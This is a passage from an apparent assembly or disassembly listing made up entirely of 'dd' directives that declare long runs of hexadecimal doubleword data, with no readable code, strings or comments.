9F09A47Eh, 0DD00C6E6h dd 0C5636753h, 3A1D6FB8h, 0A2009E50h, 8AAD46BCh, 60962744h dd 38AE6905h, 9F634A4h, 44749709h, 331E7101h, 0C0942949h dd 0BF778985h, 6D480026h, 0FB035C2Dh, 28BA09D1h, 2E523Bh dd 0DB9416B6h, 0D24C11h, 0BABF291Ah, 0C3A2A134h, 79024B7Ah dd 3AFCA672h, 4092C222h, 1208684h, 543763F6h, 80FDAF35h dd 32556C4Ch, 4D6BE5Ch, 3EAC3F0Bh, 85A68177h, 12D42049h dd 567E6F00h, 623D3BA1h, 25FA00A2h, 494248C7h, 2A004A76h dd 4B7EEFABh, 51EB06Dh, 276A3D5Fh, 0A0E1C79Ah, 5BC2A0ACh dd 0D85DDA03h, 366CFE2h, 0CB476521h, 0C0EC3D6Ch, 4BFC3399h dd 356E3E00h, 44A39EC5h, 341A007Eh, 0A076ED8Ch, 8D00D626h dd 0F170098Fh, 0B72038h, 13C2A5C8h, 6D7A188Ah, 8CE92801h dd 72E4BCE5h, 1ADE4680h, 0C2C15F9Fh, 89A50D00h, 5C2FC3D1h dd 0B1670EB9h, 4F5E5A6Bh, 0C1609785h, 0FF9EAA02h, 3951EB00h dd 0ECD83290h, 0DEAC00DAh, 0E1141AA1h, 0F9F86C3Ch, 0DD88C400h dd 85F45898h, 0EDBE005Dh, 0B35F799Bh, 33001CAEh, 8CE4CB20h dd 10A39Ah, 92AC0197h, 546B690Bh, 0CB0F6374h, 3D2936C1h dd 0C12DA01h, 88ECE1E7h, 5DAD0065h, 0C9E50E93h, 7E00CA64h dd 54921FAAh, 3D9F9E8Eh, 0E124007h, 0B4E80050h, 0CBECF224h dd 0D134C200h, 0C7716F9h, 19FEE66h, 0E4947510h, 0D4B6A505h dd 0D000FDEAh, 17A45BFCh, 68AE2Ch, 0CC8C705Eh, 0E97C7607h dd 0CA14A202h, 78ED6FDDh, 0B0100F0h, 3B24BAEBh, 0FF0592A7h dd 6C9757A9h, 2BAC4C90h, 3CCE467h, 0F1E8CB7Dh, 14E8DE6Ah dd 207752CFh, 5F0C2901h, 0EEDBFBD1h, 2401E4h, 5ADA426Bh dd 0DDB45D7Bh, 0AE150500h, 6DE9E0CEh, 0E32F00BAh, 0A51740D1h dd 5A0086EFh, 440D9D3Ah, 40B9E8Ch, 4C32F17Bh, 10318235h dd 0C709A4F8h, 0D8234876h, 9AF2B7h, 0BC9CA444h, 71F7CCEBh dd 0B80118B8h, 0A352383Bh, 5070960Fh, 0D4D624BAh, 0E4E300D5h dd 5856440Eh, 0FCA7AD07h, 8BD52D31h, 74ECF0h, 2307B22Ch dd 6AFA5C6Fh, 92064472h, 5337BD94h, 9F033F88h, 0BCD40F78h dd 0E707E2C3h, 0AC31876Ah, 5C7CAF11h, 4074FA25h, 0FC6FDC4Ch dd 0EEC50018h, 77DE2535h, 0DA00A1E6h, 169E3657h, 0E026F667h dd 5502034Bh, 0F59DFADDh, 8680E082h, 0F3DF4565h, 681E7F75h dd 0E640DA91h, 35EC7E61h, 49D1039Eh, 9AFE2F02h, 0F43C84D8h dd 0EF4E660Eh, 0FBADA06Ch, 2DA81E43h, 53FCDE08h, 4F00F83Eh dd 7FD26E1Fh, 2658D6h, 63CA9969h, 60963DA1h, 0FF905E00h dd 4523A629h, 1E5D7B7Eh, 4066C61Eh, 0F4AFD098h, 0CA00735Eh dd 52D74622h, 32D7714h, 0F9E2378Ah, 55E888EDh, 0A700B37Ah dd 3A6C74A1h, 6EB207h, 0D0824A51h, 0C38D9162h, 0F700907Fh dd 9276790Eh, 1F2DF43Dh, 0A519D4h, 41496ADBh, 0A0A2529Bh dd 2EED9805h, 0DD8D0004h, 0B9B17519h, 0BE9A1F50h, 320B5A5h dd 0A24D6985h, 0EC2E317Dh, 0A600DD99h, 3E1C6179h, 60F0E87Bh dd 0E4E12017h, 0F700CE99h, 23A5F44Ah, 10142BBh, 0B4EC79D8h dd 81EF3821h, 0F3EDAC78h, 0D0507A85h, 246776h, 16B0804h dd 21AFFA2h, 0A9C077E8h, 66254144h, 266D002Ch, 1E7036CDh dd 3F0CF384h, 49CA5692h, 0E3010387h, 241C2AA4h, 3637B802h dd 48591F2Eh, 1D3A8D24h, 0C3D7E263h, 0A16D7BC2h, 32A70818h dd 0F42AD20h, 9CFDEC63h, 2B90B220h, 0E70708C9h, 0D40D5E39h dd 1C31F6F0h, 97F825D1h, 0A167D40h, 0BB225F0Ah, 0D10078BAh dd 0DC6A47F2h, 0C002075Dh, 50169D5Eh, 8E68087Bh, 8A4E5C3Fh dd 1C233E50h, 1D0C506Eh, 89D884AEh, 7F515A00h, 0B19379BEh dd 38EF081Bh, 2BC52D36h, 0F6D87780h, 0A46CA9C1h, 62F3AE10h dd 14AD1238h, 238C8E5Ch, 63310133h, 1846D83Dh, 0F9B088A8h dd 0D8D76200h, 0B3901D27h, 118A015Ch, 6065DFD5h, 9022E38Fh dd 1E670055h, 8459276Dh, 2BE402B1h, 787E2503h, 7FD0A44Dh dd 3E279D8h, 1873FB0Ah, 0CD485Dh, 676B1D20h, 3031CEAh dd 0DFA3F198h, 13690420h, 8C4E3CCAh, 9904EF4Ch, 7B3E253Dh dd 0DE20DA32h, 3A09A47h, 54132A71h, 0F9909744h, 1C927422h dd 802C0700h, 0B51C309Ch, 19826088h, 0D8CADC5Ch, 633C7F25h dd 3B1905E9h, 0C0AE052Ah, 0A731FD00h, 0F3F7800h, 0F83AA07Ah dd 80C51D47h, 5ED6C7E4h, 74BE00C1h, 140E0E90h, 0EF9BF8DFh dd 2AD1E107h, 2820F324h, 0D8E12D4h, 117C001Bh, 4C51B023h dd 35207000h, 259A3787h, 711F2603h, 0FDBC2050h, 0C442B2F1h dd 4D98145h, 0D8266BCAh, 4099EA02h, 0EF319625h, 99E99710h dd 19C13F00h, 0D23CBC6Fh, 68AA62C2h, 7500839Bh, 0A2769D7Ah dd 1E7082F8h, 21E8466Eh, 4508ED62h, 24656086h, 1B2108F6h dd 4BD66002h, 6600D525h, 0EF70FCF9h, 6013D8h, 0D7D2B003h dd 0FB4DB79h, 0A5356C1Fh, 4321BC80h, 704F371Ch, 580A0C47h dd 0ED9CFDB6h, 7980D630h, 592C1B94h, 6D0014F6h, 8ADD6557h dd 786396BAh, 0E40F93B8h, 24086095h, 9A38C03Dh, 4646252Eh dd 0DD27EF22h, 0C9350F0h, 9D5CB801h, 0CA008F38h, 64538C6Fh dd 0F6739AABh, 4E0912DFh, 807440A5h, 2E40A2BEh, 7328740Fh dd 49EAE05Fh, 9E106FEh, 0A8A370DBh, 0EC9F2481h, 6AE442C2h dd 1499F130h, 4C4E2547h, 1AACC388h, 7C4D9900h, 36B751h dd 247DF4D6h, 0D39C01AEh, 1C2C5601h, 7A4A898Bh, 12053C20h dd 8D6FD4h, 35F3678h, 0BC90330Fh, 0C02B52Ch, 765C3B80h dd 1361DEh, 0A1E28E08h, 27B46F83h, 0E10FB371h, 0C359EF58h dd 0D14D37A0h, 0AC4077DDh, 135C396h, 0BCEE1068h, 0E0839329h dd 8E001CCCh, 3D9E0979h, 9921EDB3h, 49D11DDCh, 0C0207C33h dd 0DFA2C10Fh, 9048AC01h dd 5828FD5Ch, 94300C35h, 392F004Dh, 0D0AD44CAh, 0CF1D8A67h dd 0A6CF694Eh, 4460D2EDh, 23182473h, 72110B08h, 245D380Eh dd 2E45B720h, 0CB0EEA75h, 64073DCCh, 0CC80C077h, 50F320EBh dd 5927D0A0h, 55079C82h, 0F5186172h, 0E0BAC0FCh, 4E26A4EDh dd 0DB0990DAh, 811001A1h, 14246AD9h, 0E89E0C3Bh, 0D51161B6h dd 73BE1707h, 5720D1DEh, 0E8DBE2B3h, 9FC0A807h, 48BE0030h dd 246995B2h, 731221D5h, 946349EBh, 0F458236Ah, 67BE823Fh dd 19DB31DEh, 0A32180EFh, 1484BE2Ch, 0AAAB1225h, 348C00A2h dd 2A4FE421h, 6E8B3D1Ch, 0D5C16140h, 0ADE55A0h, 0FF481180h dd 10650488h, 0E8FC54AFh, 1EEE432Eh, 0B902780Bh, 0C9A9282Dh dd 44F5BE30h, 81FBCCh, 0DE10DC53h, 52F135AEh, 0E4099298h dd 30C2124Ch, 1808260Ch, 98E6F82Ch, 6F584F45h, 8C91E86Ch dd 0EC8F0A00h, 549B0246h, 1EB41F38h, 0A4B07DBAh, 0C9D381E8h dd 970FFE70h, 41F29C09h, 0B36F20DBh, 2AD6DC24h, 2AFC1CDFh dd 1888184h, 53B26414h, 0E45B0212h, 373801F0h, 1F6183FBh dd 388F3F21h, 8300A240h, 5CB43139h, 900C205h, 6CF04586h dd 5D7BADDCh, 0ED00209Ah, 89AA563Fh, 0A8901D43h, 0A3A1CC09h dd 0F5040460h, 50BE1A60h, 1119DF23h, 33900EF9h, 0EBC284BEh dd 146E6D80h, 1B010BAAh, 2C007A95h, 50E1084Eh, 73E43490h dd 24028939h, 6D0F189Ah, 9B4100AEh, 0E06F4ECBh, 28A5311Bh dd 0ED0324C0h, 23206070h, 5CC0D48h, 0E99E3C59h, 0BE2E5020h dd 0B9DF104Ch, 80F0C8DEh, 8EBE279Ch, 5802647Eh, 37364FABh dd 358490B7h, 158098EEh, 0B887862Ch, 261C2E03h, 0A00A74AAh dd 0F49B7B80h, 1B38ED80h, 38F43F47h, 780199FDh, 0F94ECC8Bh dd 0B901E88Ch, 673DF506h, 88E1DCh, 709C025h, 0C6D18AF9h dd 7D42B606h, 21EB22h, 65B98B40h, 5A18ACDCh, 35693666h dd 303D16A0h, 2C4C2086h, 0F40059DEh, 1003688Fh, 0EC6BE9ACh dd 48691651h, 61E0018Bh, 347E065Eh, 5F60B530h, 0BFE8D3E9h dd 0FFF0A7h, 0F4F2E20Ah, 20B4EF06h, 712A099h, 0E80DB843h dd 0EA06803Ah, 74B49448h, 81EE2E21h, 49C52397h, 30507010h dd 0E3E0048Ah, 72BE1860h, 1169DE23h, 319E04F2h, 9481C7BEh dd 1832120Ah, 59243B29h, 784118FEh, 0FFA709CBh, 6064A14Dh dd 178BB8C2h, 0B7C8873Eh, 0F081A204h, 82932D7h, 6809C40h dd 0D87AF66Bh, 30B05969h, 403DB205h, 7580DFFBh, 2635DAA1h dd 0C0203036h, 0D7EC6344h, 14C1CE25h, 2FDB0B8Ch, 25022663h dd 58720D5Eh, 88653D06h, 9F8A9F2h, 716A7A37h, 28410AFh dd 289089A4h, 372787C8h, 7E0525DFh, 0A072ECD7h, 4DB84054h dd 82E1E2Dh, 0F3258F5Bh, 0CC01F269h, 0D30D6F93h, 2D1D3003h dd 8094DB6Ch, 0B83C7DCCh, 46DC8044h, 0F50286B7h, 0E1DE65BEh dd 12FB19DBh, 0A1CC4075h, 0B6AF0F74h, 0B839C88h, 880C56B1h dd 0B1A04B2Ah, 0E17B0090h, 3F36C1AAh, 72491FF9h, 0F4106034h dd 9678F5Eh, 38A9FD3Dh, 0AA91CC97h, 0B41A8880h, 1D3004C5h dd 403C80B7h, 0EB35280Fh, 7EDA01A6h, 2B164F24h, 40687570h dd 0C293862Dh, 2E528B12h, 8A369883h, 47409031h, 0D69B1663h dd 1A0C3896h, 4CEDECA0h, 23E00903h, 0C1D3450Bh, 2C4214Eh dd 44908212h, 24302B15h, 0D92580A2h, 8B6400ACh, 328F4C1Eh dd 3628FE5Fh, 1498B065h, 94B87C71h, 0D0ADFD24h, 123465Eh dd 87D7A9B5h, 2824DCF9h, 0C88F5C33h, 4427310h, 6C269C07h dd 0F96B0080h, 608C5D77h, 4C007F22h, 2DBD4BCDh, 0B583A4h dd 0BE761336h, 0EB5620ECh, 643E965Ch, 2CB614E1h, 80B5F5B3h dd 0E6156B0Ch, 0F0DDA8CCh, 1864320h, 81B2550h, 7C0C0253h dd 6A45ACA8h, 0C742241Ch, 9B090038h, 9463B2BEh, 0A628517Bh dd 0B89E9DD0h, 4F7720B4h, 0BC784848h, 27008CF9h, 0C033E46Dh dd 795D4705h, 2A7D2CD7h, 54EC2868h, 2A249C83h, 9849FDDh dd 5BC0F28Bh, 6AB5C402h, 0B034E448h, 8F1FA54Ah, 2EBC2F85h dd 45148C49h, 60B5C4ECh, 13756956h, 90850BEBh, 6418D24Ch dd 51A66C00h, 0FF2E7FF5h, 14854849h, 0BA13AC80h, 7200A942h dd 0EDA47DD9h, 35CD7DFh, 0CE3BB999h, 32A99F6Bh, 74A5C57Ah dd 82031D3Ch, 0DF21F951h, 964800FBh, 610D02EBh, 0FF4C9D6Eh dd 0E9B933A0h, 32F3B969h, 1823B024h, 0A0CBB0D1h, 4A4FAA8Bh dd 0D6176816h, 0F923502Eh, 462A8738h, 35303C65h, 4F27D9FBh dd 9D000162h, 802CD881h, 0A951889h, 262E8DDAh, 800CF30Dh dd 85C7DC69h, 6C4C1ED9h, 18CAA884h, 8F9FE9Ch, 87003E2Ah dd 2FADBDF7h, 0E7B3CABh, 4339BA27h, 3F65C1A0h, 0F4FCA7F2h dd 7D996400h, 9F4DF83Eh, 547E13BAh, 1CBC002Ch, 3094B34Bh dd 0B9788405h, 0E3072E73h, 602CB53Dh, 16F32472h, 0AF8A053Ah dd 540C003Ch, 8DCAF4D4h, 9246F117h, 77E06507h, 45C7A9C0h dd 64061BCEh, 0CA078F7h, 0C100D0E9h, 0F696784Fh, 408EAEC2h dd 0F5004DA0h, 64DEB0A4h, 0FAAF7DBDh, 8738C09Bh, 0A6797757h dd 0DA3A1C01h, 0D9C1766Ah, 0D27E2DD0h, 79E10020h, 6CCFD745h dd 2609F600h, 0FA0C4AA7h, 0A06406F3h, 883B8135h, 0D860E4E2h dd 0E10A7959h, 8CDD000Dh, 2FD2FF6Bh, 0F61E193Ch, 0B9700674h dd 14C9767h, 2171F5ADh, 8CD9EE3Ah, 20F66808h, 4C6E00A4h dd 0FF7C436Ah, 3300F2C7h, 4BF79BEBh, 2A6C7DF9h, 398FD1Ah dd 810E9336h, 0BCA23C2Bh, 2F917495h, 0AF15AC80h, 76018155h dd 14ED9EE3h, 63C80B30h, 0F3BB3340h, 0C1646EC9h, 6C603FD0h dd 0F523984Ch, 941169h, 6D4C83B1h, 0C2AB150Fh, 759616C8h dd 612EA0A0h, 0C503CDDAh, 0EE956D2Fh, 0E7180086h, 8D019DA3h dd 7E1CEFB7h, 0A4C0A18Eh, 0A01F5AFEh, 6CA90C51h, 131F7E2h dd 2953602h, 4030666Bh, 2897EE44h, 33943F29h, 1C718396h dd 7723B288h, 8E003EE2h, 0D0C84EEEh, 4D49907h, 3D874D8Ah dd 0CF84932Dh, 89D2087h, 0EE00200Ah, 0DBD4C68h, 312BD2ACh dd 7D29823Eh, 76081BEh, 0FB3CAD17h, 18BBD050h, 1E1B904Dh dd 4F2004AAh, 5FE04BC9h, 8179B001h, 6759C7Ah, 0B3053E02h dd 0A0F68C80h, 0E5B2A7A0h, 325A0056h, 68417764h, 1815966Ah dd 94C06DF6h, 0F52B7C18h, 6911C0D9h, 4C88C700h, 0D209B816h dd 0EB70E71Ch, 79CE8D5h, 312A9F3Fh, 27818420h, 7BB0EF3h dd 8EDF83FFh, 4B60FD5h, 951E73A1h, 5D000134h, 3D7F57Dh dd 0EB3E887h, 9BC907Eh, 816019D9h, 4961080h, 2A515A73h dd 3E09C4C8h, 0CA48CEFCh, 0D4EE2A90h, 954428A7h, 0F098F363h dd 42748D64h, 2BB071Dh, 58F8A070h, 6369C746h, 6D9AC077h dd 0E200BE78h, 99F65D6Ch, 911A7D21h, 115824DCh, 0F30304CBh dd 1CC7AF5Dh, 0F04031E5h, 52A26671h, 9A7D00CDh, 8ACF918h dd 5007C5Eh, 153B97D7h, 3053862Dh, 9C60F5FFh, 3F0606EDh dd 3591A7Ch, 6B360C91h, 0F7A8A012h, 0ADF0C204h, 0DC9BBBF6h dd 64539980h, 750E851Ah, 2017705Ch, 38154D24h, 76C0A090h dd 437742h, 0FC0113B5h, 31DD0A69h, 0A223A300h, 0B74B1AA5h dd 842200CAh, 109CB23Eh, 2150D293h, 0CB0087CCh, 0C2DFADFCh dd 602B763Dh, 0B0EAA09Ah, 9D014813h, 0A6298CD8h, 1C4C0C6Dh dd 0EE0D80FAh, 7AA03950h, 0FCBF7309h, 0EB04021Eh, 40644969h dd 4C089318h, 0C491F5B1h, 6AB0409Fh, 7E094Ch, 4D5E108h dd 158A9A0Dh, 246EF629h, 974C6D01h, 0B03381F5h, 4C84AE80h dd 273A9112h, 9E520350h dd 5DBB08Fh, 8819C7E8h, 6FA00338h, 79D0264Fh, 0F6073404h dd 0B73E68B5h, 0C908194h, 162F961Dh, 62FA026Eh, 0C23038A4h dd 89CD03E2h, 0DA1686B8h, 7E0F46C0h, 48083891h, 577901B0h dd 0EC1D047Bh, 31037013h, 0F8C8E184h, 451427Dh, 6362CBC0h dd 0CAE8DF12h, 160FBCE6h, 83C8869Bh, 0B9C0BA64h, 7DFC1299h dd 0D9DB0044h, 0E1874239h, 173D3D11h, 0EA90179h, 0A9F5E64h dd 1588F020h, 0E095863Bh, 0A5DE7D00h, 0B7A7725Ah, 0BF325C98h dd 68D708AFh, 0DDFF24h, 4B289E5Ah, 95F0D93Dh, 62A1A060h dd 1E9804h, 0ADABB58Ch, 2BFAD3ECh, 0B41538h, 4E4C45FCh dd 241710EBh, 0CC9CF3h, 467476CBh, 5092D7DBh, 6E2CBB03h dd 0E1B5F7A9h, 78856F77h, 913CF2A7h, 0FCA6C2CCh, 0B85552h dd 65935B01h, 21392AB9h, 11E0E847h, 536AB6E5h, 0C6842045h dd 84086455h, 5ADCC069h, 0BF46A76Bh, 0FC00EB22h, 0E1AD5AD4h dd 605BB0F8h, 8D63D0ECh, 0E7585844h, 32809E70h, 6A14CCC9h dd 0BB7A0062h, 53FDAA77h, 476A111Dh, 0D21138E9h, 712FB380h dd 0CF436202h, 0C20B3722h, 7FE22FAAh, 3007A0Fh, 0BA8F5D6h dd 4388DE60h, 9055AEBBh, 3CD54CD4h, 7801B023h, 721CA579h dd 35882818h, 70790740h, 0A05EA1D3h, 997CD709h, 0D915D800h dd 9BA0363Bh, 8F20745h, 0D07B6FBFh, 67BC0476h, 64D43E29h dd 97148C28h, 8864D202h, 0A4C48529h, 5F9E002Fh, 6499E35Dh dd 79B2FA02h, 0C438868Bh, 107F2628h, 46570044h, 368A9019h dd 0BF58ED09h, 3CB888B5h, 33465Ch, 0EEC2752Eh, 1EABEF06h dd 8288BD0Ch, 0F107B26Eh, 3A67A482h, 9F445CC7h, 0C64AFA60h dd 3811A01h, 0E87759D1h, 0E4299241h, 12B91C60h, 3A610AD0h dd 0D8233Ch, 3F60822Ch, 350970E2h, 0A3BB531Dh, 0B07986F0h dd 0DB6B81h, 2E013F85h, 0D9DCE47h, 9F656C0Dh, 823E80EDh dd 60C0681Eh, 0F84C8F16h, 0E0A440D4h, 2FB1028Ch, 0CAB20293h dd 0D0103419h, 2C002FA8h, 9BFBAD8Dh, 9466FAAAh, 755E00CCh dd 321522BFh, 0C01148h, 64DF4E52h, 0C03DB63Fh, 5DFC7A41h dd 4F0063E9h, 318D2DACh, 17360470h, 5D900365h, 56ED403Ch dd 0FBB98454h, 60042C5Ch, 0B6803C7Dh, 0F4E24957h, 0BA58491Fh dd 0C078A924h, 1CA87971h, 34806A43h, 0BC937939h, 0F9561A01h dd 0B8B7B37Dh, 53A29C23h, 94E02931h, 5B242642h, 1CBB0FCFh dd 19C0F25h, 34F27C8Ch, 0D054311Eh, 7496B935h, 8F206C85h dd 9485AC40h, 18D65FF2h, 819A8EE5h, 551D6471h, 29B03BE7h dd 0C0EBEDh, 0E1047ED1h, 0F8AE620Dh, 5479062Ch, 6C189696h dd 483F60h, 62BB1DA0h, 3C011E41h, 684A78B0h, 448F4446h dd 76F71269h, 0C5B000CDh, 0A556FFE6h, 30472226h, 6DEA2B00h dd 0DE9746h, 0A2A65277h, 7D6F53F6h, 0EDD2E0DCh, 5C7B1888h dd 4C2B893h, 0D458DF06h, 6C02AC46h, 121CD979h, 1901D09Ch dd 0C5AB7973h, 9442D2D4h, 0BF632083h, 7648D359h, 250D0038h dd 2665B9Eh, 240E26BBh, 58F60F20h, 849B2744h, 0C8B48BE8h dd 674BC038h, 0B60019A9h, 211736CDh, 0B0654703h, 87E0A1DCh dd 0F85AC519h, 448CAFA7h, 0B600FEF2h, 0C5808E5Ah, 0F4B8960Ah dd 0BF030005h, 96DDB2Dh, 7090499Dh, 7FE03A4Dh, 0C8411001h dd 0DDCF5924h, 0B404C30h, 0FC752AA7h, 0B43F6804h, 0FDE2E550h dd 80E75012h, 0B2E884C0h, 0DDC500F2h, 7C78C42Bh, 6D0AE068h dd 0B4C323A8h, 0B840989h, 0C5849008h, 6DEB1F64h, 6C3000F1h dd 0C2027514h, 0ECF6D071h, 8FFF3E0Fh, 8640381Dh, 2E78003Ch dd 0DCEDE025h, 109656Bh, 372843h, 0F34B1E74h, 8CD89C94h dd 1CB89FC3h, 0D656B313h, 0B18D5C00h, 26B6ADE3h, 43EC591Ah dd 90390163h, 0BC94CCEEh, 5C138CE5h, 0E805960Eh, 28922EBBh dd 71AC5919h, 0DB1868h, 0E775D3B1h, 0B0775FD7h, 6CF2F712h dd 8284E860h, 0D7C2006Bh, 4B0F3C2Bh, 434CF0B7h, 4AC38C4h dd 7E7D77DFh, 7A7FBF00h, 6F05B2BDh, 875004D0h, 9467748Ch dd 33465C40h, 0D192A509h, 0EBF7803h, 0D384858h, 0F82ACE5Eh dd 69E2C472h, 670130h, 41A464DAh, 8266FE15h, 6A46C8A4h dd 0C45AD91Fh, 2C7A17A7h, 5AD100FBh, 10A09180h, 509282E7h dd 0F6283800h, 31B1569h, 0F2E4022Dh, 8357C440h, 0A7004864h dd 0B5A5389Bh, 798E2550h, 0C5310003h, 66898805h, 42F20612h dd 2CCDEC24h, 0C046D13h, 1084728Eh, 852E73C2h, 0C8BBDD0h dd 69C353C8h, 0C89B9038h, 8FC902A5h, 66AB1D51h, 0A70CDC50h dd 60265BE2h, 0B2FE7199h, 32350380h, 63977B1Dh, 41862800h dd 9952A424h, 1561C12Bh, 0E83A2267h, 0B500815Ah, 0AF7860B6h dd 0AE585Fh, 0C9C16E26h, 7D2189EEh, 0C7CE9714h, 8CF2E8BCh dd 3B8CD500h, 6D08151Ch, 2748396Eh, 0B836647Ah, 20E0CD50h dd 58C6868h, 0A7605ADBh, 35302807h, 6207B490h, 0F8184682h dd 1D0A84C0h, 0D1B2501h, 611B800h, 6E12A907h, 4853BAB6h dd 6CC098DBh, 7F1DD55Eh, 0EEBF9E1Ch, 2C37E306h, 2A7CF0C9h dd 4F09DE4h, 9A930485h, 0DCFC8028h, 0BB14031Ch, 0BC7422D5h dd 0C7A8CD6h, 0F61E2D05h, 0CC88F87Ch, 4D5426A0h, 0B9C4C7D0h dd 0D8C4AC65h, 4EF5D260h, 0CED34009h, 8A200903h, 3480204Fh dd 0ABC49738h, 0DB480083h, 7CCBC5C1h, 0A6FA6F7Eh, 3E75A892h dd 80306B4Ch, 85C20BB6h, 61BE3438h, 57108021h, 0D8049982h dd 231E8B8Ch, 92B2D0F3h, 3E1FF930h, 0E9607A46h, 15ACFC9Ch dd 42CF8B3h, 0C878D70Dh, 6069D431h, 0C1C91B8h, 0C202B79Eh dd 80CFEB4Eh, 58F937E4h, 4D74AA3h, 0D8D53ED8h, 2F04B49Ch dd 0CFCA0270h, 0C38060A2h, 0BC192FABh, 7C131E12h, 0D46EDF1Ch dd 58911851h, 2F9780DEh, 5C42026Dh, 0BEB01CCBh, 32E62FAEh dd 9095E11Eh, 81DB28Bh, 0B3409433h, 5CA75FC2h, 7900E39Dh dd 5D86042Fh, 1F02FCA9h, 9717AA0Eh, 39464E2h, 14E18ECAh dd 60B0DC71h, 8B393EE5h, 0E40E2C9Ah, 81ED1C43h, 0CC641E3Ch dd 8F3F0587h, 0C0CE45D6h, 25536DD8h, 0D0343A59h, 8C37A86Ch dd 4A0445F6h, 4EF018E1h, 0D8034FC3h, 48454B5h, 0B6341239h dd 0BEC890F3h, 52F0888Ch, 26C0A548h, 0D1A69CE7h, 6686E212h dd 0BAD03FE0h, 9735E10Fh, 0A01DEE09h, 5980EB11h, 69B7018Eh dd 58F5E702h, 0E79CF247h, 602964FCh, 72FDCEh, 7A473F59h dd 6A9A5E2Eh, 0F09F3A2Ch, 748A700h, 902FDA8Bh, 780E05A0h dd 0A2171679h, 309BE254h, 0DC65FE66h, 202B1918h, 26039223h dd 0C93D9B47h, 9C2C49EFh, 6097BD25h, 9A802F11h, 0BAC93BFAh dd 17531C04h, 889C316Ch, 9C6D00E0h, 0C783BEDh, 0A007BDA9h dd 794CFA7Ch, 9958206Bh, 30C0810Fh, 98C96F05h, 0E048F913h dd 273F02DCh, 409B0920h, 0C737114h, 0D1FD2B01h, 884C7010h dd 0C4EAC94Ch, 0BB360AF4h, 2C0F3BEh, 0E53B0FD6h, 2E8CF080h dd 0F7007503h, 0FEA423F0h, 338FBB8h, 0D73C3757h, 0C012A730h dd 14A3F432h, 723029A2h, 3EEB707Fh, 48EF5CF3h, 0F6A1044Eh dd 203FC7B0h, 8B1B08A8h, 0D8A07FFAh, 0A4AB7DBBh, 796B2C34h dd 0D9DA0A8Fh, 7B2A9134h, 60797203h, 88853558h, 3D9C34C3h dd 0F1BA4DF7h, 3E770808h, 90BFFC09h, 28A8F8E8h, 784D923h dd 0C304F108h, 0BC5F52F0h, 29E478E5h, 20B16460h, 0C2F79E33h dd 0C15840E9h, 0E0C7E8Eh, 0F275049Fh, 8487360Bh, 98809992h dd 5D71489Ch, 17699C99h, 802511C8h, 2840F2E9h, 0BF7102A3h dd 39353884h, 32958861h dd 904701A0h, 8EAE45F0h, 33E100CFh, 0C1298865h, 8B00E937h dd 1641802Bh, 0E92F3B3h, 4A4B6769h, 0C57075E4h, 0ECA45233h dd 4E816028h, 18F5F631h, 21F8D553h, 61C09F8Fh, 2FE5B90Bh dd 5D100C0Dh, 73194296h, 1F692C00h, 0FFC67E37h, 77B7040Dh dd 0E2656C26h, 33ECF210h, 4788C097h, 39C93F02h, 4C106637h dd 2B24A508h, 0B81D5290h, 26803811h, 0C6D51F57h, 943B1E00h dd 0F3500478h, 0B08F48A8h, 9C6D17C9h, 52E08D60h, 60430083h dd 0F2A6FB08h, 0A0922858h, 6E824B00h, 0BE344C37h, 16713EAh dd 0C810CB3Ch, 0EE22C12Dh, 0C0E0F9C0h, 0F7739BE4h, 34943EF6h dd 494465Eh, 97CAD139h, 0B1EC74C0h, 1028B0B2h, 0EC9B26BBh dd 80008C34h, 0C360D31Ch, 986EDEB6h, 8071AACh, 0C0CD78F5h dd 0C00843E2h, 8256FFC0h, 0EA79E8D9h, 6D5BC218h, 87AC180Eh dd 3E04CE46h, 916A0606h, 0FBB4F000h, 8B02CF93h, 973D3E80h dd 0D016100h, 94A81370h, 0C1786D01h, 0F6C80BD6h, 29BCA068h dd 0A371138Ch, 4D400044h, 942A2E0Fh, 0D9DE41Eh, 0D02EB35Eh dd 0F2797421h, 0D500CE18h, 0CFB6398Eh, 90C34689h, 20EA4E14h dd 31AA2648h, 665D6E00h, 0DD897306h, 1BA302D9h, 8DF5B120h dd 0D059B442h, 38182A79h, 0B1CF9100h, 0BE0E7099h, 77D20130h dd 0A462E3FAh, 94C041B6h, 0F972C8D6h, 64266B05h, 0C4022D01h dd 0D97A67A7h, 183879D0h, 68720090h, 645B1B30h, 1A02C778h dd 7C46B6B0h, 1A0A140h, 3C3DC63Fh, 0DB0443B8h, 0B3A93B96h dd 7720534Fh, 997557B2h, 0AEDC60F1h, 4C58294Ch, 0EC1F1758h dd 1DE054DCh, 0C0170A77h, 0DE8F15CAh, 80B07BD3h, 3A0FE40Bh dd 1A3600CBh, 90A7869h, 7DFBC02Dh, 709C606Ch, 924656h dd 430BF969h, 439092Ch, 0F2E66B07h, 52ACCB2Bh, 3226E2F8h dd 275DB00h, 7C98BF5Fh, 279C4C25h, 0A033268Ch, 1E1004D6h dd 94803703h, 0E2F0B26Ch, 0E08331D8h, 5F0931BCh, 8C45F4D9h dd 13A741A3h, 0CA90EC4Ah, 410F1450h, 3D7E17CEh, 0C2A02890h dd 0F292025Dh, 1DE3EDB7h, 0AC39F0F8h, 89BC1606h, 0D420E08Dh dd 66028CAEh, 0C21CD379h, 105219D9h, 796E37h, 0CE1B215Ch dd 561C938Dh, 8C757307h, 3D6B5F03h, 80261168h, 4B2A9F88h dd 0BCEA51EBh, 80018604h, 9B12B326h, 472B507Dh, 20949D94h dd 0D813C880h, 56C225Ch, 0B159B3EDh, 2F5EC0B6h, 0F123DCh dd 94207493h, 333DB8DDh, 13B9A747h, 2AD7EACCh, 9EFA0998h dd 106C4400h, 0C07585F4h, 0B6DE7809h, 0A1148583h, 699CCC82h dd 74F497D8h, 40DA6081h, 0C01B5E7h, 86D4FB12h, 644BF8D9h dd 0FAC03388h, 30DE8035h, 7D191046h, 0D4ADE998h, 50603464h dd 0DA045AFBh, 0A106EEF6h, 0D740CC97h, 0B04BB777h, 0BF6F017Fh dd 4E832FDDh, 7F9EF09Ah, 0CB031D16h, 0F2A7AC80h, 0F4342F0Ch dd 29112C9Dh, 548BB680h, 5AD4E2A7h, 3EA5A194h, 480F7BECh dd 61508CDh, 6500D862h, 466E8185h, 8305B0D1h, 0E9E28694h dd 0F3F84Bh, 0D23D8DF7h, 60F009Dh, 62E19517h, 5E044A23h dd 77A08483h, 127410EDh, 977DC32Ah, 6DA8B20Ch, 5DCC854h dd 0C67C6BD6h, 4ECA2F5h, 81BFE301h, 61AB7092h, 0CC7C3194h dd 0B218A2A4h, 0D44D312Fh, 215E65F8h, 0A4B6D412h, 20EE78B6h dd 6081434Bh, 2A2896h, 9015385Ch, 0F1048749h, 8F245681h dd 0F8AB0082h, 0D642DF28h, 